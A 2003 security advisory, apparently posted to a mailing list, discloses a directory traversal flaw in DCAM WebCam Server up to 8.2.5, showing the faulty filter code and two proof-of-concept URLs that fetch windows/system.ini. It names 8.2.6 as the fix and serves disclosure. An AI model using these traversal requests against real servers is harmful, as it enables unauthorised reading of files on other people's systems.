<<< Date Index >>>     <<< Thread Index >>>

Directory traversal bug in DCAM server <= 8.2.5



#######################################################################

                             Luigi Auriemma

Application:  DCAM WebCam server
              http://www.hyperionx.com
              http://sourceforge.net/projects/dcamserver/
Versions:     <= 8.2.5
Platforms:    Windows
Bug:          Directory traversal bug
Risk:         high
Exploitation: remote with browser
Date:         22 Dec 2003
Author:       Luigi Auriemma
              e-mail: aluigi@xxxxxxxxxxxxxx
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DCAM WebCam Server is an OpenSource program written in VisualBasic that
allows to capture live streaming video and to broadcast it on the web
through the built-in webserver.



#######################################################################

======
2) Bug
======


The webserver built into DCAM uses a protection to avoid the directory
traversal bug.
We can see it in Form1.frm:

...
880    page = Replace(page, "..", "")
881    page = Replace(page, "./", "")
882    page = Replace(page, "/.", "")
883    page = Replace(page, "//", "")
884    page = Replace(page, "\", "")
...

The problem happens when the attacker uses the pattern ".\" that
deceives the checks and allows him to see and download any file in the
remote system knowing the path.



#######################################################################

===========
3) The Code
===========


http://server/.\.\.\.\/windows/system.ini
http://server/.\.\.\.\.\.\.\.\.\.\/windows/system.ini



#######################################################################

======
4) Fix
======


Version 8.2.6


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org